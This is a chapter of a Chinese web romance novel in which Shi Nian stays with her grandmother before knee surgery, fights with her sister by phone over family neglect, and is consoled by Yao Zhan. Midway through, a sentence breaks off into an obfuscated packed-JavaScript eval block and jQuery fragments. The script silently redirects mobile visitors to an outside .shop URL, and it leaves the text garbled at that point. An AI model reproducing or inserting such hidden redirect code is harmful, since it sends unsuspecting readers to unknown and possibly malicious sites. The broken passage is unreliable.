时念有些意外:“你怎么在这里?”
“我的公司跟这边骨科有合作,我过来谈点事情。”
李世默上下打量她几眼,确认她无碍,“来看朋友,还是陪家人住院?”
时念:“我奶奶膝盖手术。”
李世默是医学博士,又问了下老人家的情况。
时念简短地跟他说了说。
寒暄完毕,相顾无言。
大学那段仓促的恋情早已翻篇,如今再见面只剩陌生人间的客气。
阳光透过病房走廊的窗户,落在时念裸露的手腕上,青色血管清晰可见。她素着脸,长发松松搭在肩头,看上去和大学时没什么两样,只是眉眼间多了几分沉静。
李世默心头微动,抬腕看了眼手表:“我还有个会。等我开完会去看看你奶奶。”
时念惦记着要带奶奶去做检查,并未将这段偶遇放在心上,朝他点点头便回病房了。
李世默目送她进了病房,才转身离开。
他记得她跟家里关系不大好,想来这次陪奶奶手术,也是一个人。
护士站几个姑娘将他喊住,一脸八卦地看着他:“李世默,你跟301房那个女孩啥关系啊?”
李世默的公司是做医学影像设备开发的,目前正在安南几家大型医院投放,收集临床数据。江城人民医院骨科也引进了他的设备,所以他最近跑得很勤,跟这里的医生护士都熟络了起来。
单身加英俊多金,他自然成了护士们调侃的对象,经常拿他开玩笑。
李世默:“她是我大学同学。”
护士们不信:“肯定不是普通同学关系。”
李世默一脸无奈:“真的就是大学同学。”
一个圆脸护士白了他一眼,一副你当我们傻的表情:“普通同学你喊人家念念?我看八成是前女友!”
“信不信随你们。”
李世默拿这帮小护士没辙,岔开话题:“对了,她奶奶在这住院,这几天拜托你们多费心。”
圆脸护士撇撇嘴:“人家可是大人物特意安排的VIP,我们科老大都盯着呢,哪用得我们这些小啰啰额外照顾呀?”
李世默脚步一顿,眼底闪过惊讶:“大人物?”
圆脸护士被旁边护士长掐了一把,及时止住了话题。
因为走VIP通道的关系,李碧英所有术前检查一个小时内全做完了。
VIP病房午餐可以直接打电话到食堂订,会有专人送过来。时念给奶奶订了软烂的粥和几样她爱吃的菜,自己则点了份盒饭。
吃罢午饭,李碧英看了会电视,躺下休息,为晚上的手术养精蓄锐。
膝盖的疼痛让她在病床上翻来覆去,又怕吵到外孙女,只能强忍着疼痛减小动作幅度。病房里开着空调,她额角还是沁出汗来。
时念哪里看不出奶奶身体不舒服,只能默默地帮她翻身。一想到这一个来月,奶奶每天在白泉老宅都是这么过的,她就难受得喉咙发堵。
李碧英在病床上辗转了一会,总算找到一个侧躺舒服的睡姿,慢慢地盹着了,病房又安静下来。
时念睡不着,起身走到住院部外面,在小花园的长椅上坐下。
她下意识地摸向口袋,却摸了空。自从工人自杀案了结后,她就开始戒烟了,算一算已经好多天没抽了。
此刻,一团火堵在胸口,烧得她难受至极,她拿出手机,给妹妹时娇打了个电话。
时家人她都拉黑了,只留了时娇的联系方式。
电话接通后,时念按捺着情绪问:“奶奶腿摔成这样,为什么一直不告诉我?”
从小到大,时念帮父母带两个小的,带他们上下学,放假时在家看着他们。在妹妹弟弟面前,她不自觉带着长姐的气势。
大热天,时娇约了几个朋友在家打麻将,冷不丁被姐姐这么一问,才反应过来——姐姐回江城了,估计是看到奶奶的情况了,冲她发火呢。
时娇语气里掺着几分无奈,几分理直气壮:“姐,我瞒你干什么?奶奶说不想让你操心,不准我们说。”
时念气笑了:“奶奶让你不说,你就不说?时娇,你什么时候那么听奶奶的话了?以前她让你别跟周家那小子早恋,怎么没见你听进去?”
被姐姐抓住话柄,时娇噎在那儿说不出话来,隔了一会才冷声道:“你不是不想操心家里的事么!你在海市上班多忙啊,年薪几十万的大设计师,我哪敢拿家里的破事烦你?”
“破事?”
时念的火气再也压不住,咬牙道:“那是把我们带大的奶奶!她膝盖摔得粉碎性骨折,要做手术!你跟我说是破事?时娇,你忘了我们是怎么长大的?你小时候栽到火盆里,是谁大晚上背着你去医院的?是谁在你出嫁的时候,偷偷塞给你两万块钱的?那是奶奶的养老钱!现在她需要你了,你不闻不问?”
汹涌的情绪在胸口翻滚着,真正让时念难受的不仅仅是“被瞒”,而是失望。
她一直以为自己跟妹妹都是重男轻女的受害者,妹妹是那个家唯一跟她站在一边的人。
而如今,她发现自始至终,她都是孤身一人。
“那都是奶奶自愿的!又不是我逼她的!”
面对姐姐的质问,时娇心里委屈,嘴上便不管不顾起来:“再说了,爸妈和时景都没出钱啊,你凭什么只怪我一个人?你现在有本事了,你愿意掏钱给她做手术,你就掏!反正我没钱给她做手术!”
时念厉声道:“你没钱给她做手术,倒有钱去京市旅游,买一万多块钱的包!”
时娇说不过,委屈得“哇”地哭出来:“就许你赚得多,跑到我面前显摆!我去京市旅游也要被你说?”
“你就当我显摆吧!”时念彻底心寒,已经失去了跟妹妹再说下去的欲望。
她本不应该对时娇产生什么额外的期待。时娇说得对,那个家应该负责的不只她一个。
既然他们都对奶奶摔碎膝盖视若无睹,那她也没必要再给他们体面。
“你回去通知时学良和庄加云,还有他们的宝贝儿子,锦城苑那套房子是当年姚湛赔给时家的,有我一份。他们要是不打算管奶奶的生老病死,就把我那份还给我,我来管!还有我这些年寄回家里的钱,他们拿去给宝贝儿子买房买车的,也全都还给我!”
时念的语气冷得像冰,说完便挂了电话。
当年姚湛送房子给时家的时候,时景和时娇还未成年,房产证上只写了时家夫妇和时念的名字。
时念只觉讽刺,当初她不情不愿地去房产局签字,如今倒成了拿捏他们的手段。
挂完电话,她捂着脸坐在花坛边,胸口像是被什么东西给淤堵住,难受得想哭、想喊叫,却发现喉咙和泪管也一并堵住了。
为什么在海市那么多年,一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025959|194402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人都这么过来了。
一回来江城这个地方,就开始矫情?
他们也不是第一天这样。
时念抬起干涩的眼睛看了看四周。
入秋后的江城天气很舒适,阳光透过树叶缝隙洒下来,能看到光柱里飞舞的尘埃。
住院部进进出出的人不多,一切显得那么空旷冷漠,她那么点情绪实在渺小。
兜里手机震动起来,时念拿出来,是姚湛打过来的。
“给你发微信,你一直没回。”
他的声音透过听筒传来,清冽中带着几分不易察觉的温和,似远还近,“奶奶安顿好了吗?检查做了吗?”
时念揉了揉冷硬的眉心,努力将自己从刚才的情绪中抽离,低低道:“抱歉,刚才在打电话,没看到你的微信。都安顿好了,检查也做了。没什么大问题,就等晚上手术。”
姚湛听出她语气里的低落,没问她给谁打电话,只道:“本来今天想过去看看你奶奶,又怕吓到她老人家。我这轮椅进出,实在太惹眼。”
他语气平常得如同谈论天气,“不过,我已经约了我的义肢工程师,让他过来把义肢重新校准下,以后可能得多习惯戴着出门了。”
这是他第一次主动跟她提起自己的残疾。时念握着手机的指尖微微一热,语气也不自觉变得柔软:“你不用勉强自己的。你那天坐在轮椅上出现在我家门口,真的挺帅的!”
那天给他打电话,她其实没抱任何希望,不过是抓着最后一根救命稻草,赌那万分之一的可能。
而他真的从天而降,雪中送炭。她这辈子活了快三十年,都没见过那么帅气的男人。
电话那头传来低低的笑声:“是吗?那看来以后可以让你多见见。”
话一说出口,姚湛就意识到自己失言了。
自己那句话似乎带着逗弄意味,对象是她,更让他产生了些许“为老不尊”的不自在。
对面的女人似乎并没有听出来,还傻乎乎地坚持道:“我说真的。你跟十几年前没什么变化,反而更有一种成熟男人的魅力。”
她的语气坚定,没有一丝暧昧,就差给他的魅力盖个戳。
姚湛无声地笑了,今天他太忙了,刚才脑子也不知道抽哪门子风。
他看了眼电脑下方的时间,距离下一个会面还有十分钟。
“那说说今天什么事让你不高兴。刚才接电话的时候,语气那么委屈。”
兴许是因为听出他语气里的温柔;兴许是因为隔着电话线,没了面对面的局促,时念卸下心防,将家里瞒着她奶奶摔了膝盖,不肯给奶奶做手术,她跟妹妹吵了一架的事跟他大概说了说。
“我知道我不该把你给时家的房子拿出来拿捏他们。其实不是钱的事,我就是心里难受,不痛快。”
在姚湛面前,时念一点不介意展示自己幼稚无赖的一面。
自己小时候的各种窘样,他也不是没见过。
她自嘲地扯了扯唇,“按狗血网文里的情节,接下来我是不是要跟他们争家产了?”
“那你想争吗?”
时念摇头,哪怕他看不见:“争得来吗?”
她拿什么争?那个家早没了她的位置。她想要的从来不是房子和钱,争来争去,最后争的不过是一点点公平,以及给他们添点堵而已。
“的确争不来。”姚湛笑了笑,“得靠抢。”